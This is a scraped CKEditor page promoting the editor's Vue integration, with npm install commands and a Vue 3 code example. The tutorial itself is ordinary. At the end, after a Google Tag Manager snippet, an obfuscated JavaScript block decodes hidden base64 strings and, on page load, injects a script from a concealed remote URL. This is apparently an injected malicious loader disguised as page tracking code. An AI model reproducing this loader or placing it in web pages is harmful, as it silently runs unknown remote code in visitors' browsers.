Image Optimizer powered by Uploadcare

Upload, store, transform, optimize and deliver images at scale - join us 30th of September!

Register now

The Best WYSIWYG Rich Text Editor for Vue (2025)

CKEditor 5, the best wysiwyg editor for Vue

CKEditor provides native integration with Vue.js, the progressive JavaScript framework. This integration provides an out-of-the box Vue component for the rich text editor.

npm install @ckeditor/ckeditor5-vue

Our teams work hard to make installing and integrating CKEditor - the best open source editor - as simple and intuitive as possible for every developer. That is why CKEditor 5 builder provides a predefined option to generate a project for Vue.

The CKEditor Builder at the Installation step, with Vue selected for integration.
The CKEditor Builder at the Installation step, with Vue selected for integration.

Why CKEditor 5 is a top pick for Vue (2025)

CKEditor is customizable and compatible with all JavaScript frameworks by default. It’s a JavaScript rich text editor, and it doesn’t require any uncommon techniques or technologies to be used. Therefore, unless a framework has atypical limitations, CKEditor is compatible with it.

With native components for Vue, React, and Angular, we want to make the process of integrating our rich text editor even faster. Let’s see how you can use CKEditor with Vue.js in your project!

Quick start: CKEditor 5 + Vue 3

The easiest way to use CKEditor in your Vue.js application is to install the @ckeditor/ckeditor5-vue package:

npm install --save @ckeditor/ckeditor5-vue

Use the useCKEditorCloud helper to load the editor code from the CDN and then use it in your .vue file to create an editor instance:

<script setup>
import { ref, computed } from "vue";
import { Ckeditor, useCKEditorCloud } from "@ckeditor/ckeditor5-vue";

const cloud = useCKEditorCloud({
  version: "<CKEDITOR_VERSION>", // from https://github.com/ckeditor/ckeditor5/releases
});

const data = ref("<p>Hello world!</p>");

const editor = computed(() => {
  if (!cloud.data.value) {
    return null;
  }

  return cloud.data.value.CKEditor.ClassicEditor;
});

const config = computed(() => {
  if (!cloud.data.value) {
    return null;
  }

  const { Essentials, Paragraph, Bold, Italic } = cloud.data.value.CKEditor;

  return {
    licenseKey: "<YOUR_LICENSE_KEY>",
    plugins: [Essentials, Paragraph, Bold, Italic],
    toolbar: ["undo", "redo", "|", "bold", "italic"],
  };
});
</script>

<template>
  <ckeditor
    v-if="editor"
    v-model="data"
    :editor="editor"
    :config="config"
  />
</template>

For full documentation describing the capabilities of the CKEditor Vue.js integration using CDN to load the editor, follow the Integrating CKEditor 5 with Vue from CDN documentation guide.

Alternatively, you can install CKEditor from npm by following the Integrating CKEditor with Vue.js from npm documentation guide.

Learn more about the Vue Rich Text Editor

The CKEditor framework handles end-to-end document editing, interoperability with third-party tools, document management, and collaboration directly within your Vue.js projects. Its modular architecture gives you the flexibility to customize and integrate our rich text editor into any Vue application.

This powerful combination of features and a native Vue component makes our integration a first-class citizen alongside our support for other popular frameworks:

Source code & Feedback

We want to thank the community for all the feedback on the Vue component on GitHub. Please keep the ideas and suggestions coming to help us improve the integration!

Now go ahead and npm install @ckeditor/ckeditor5-vue - happy hacking! 🥑

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });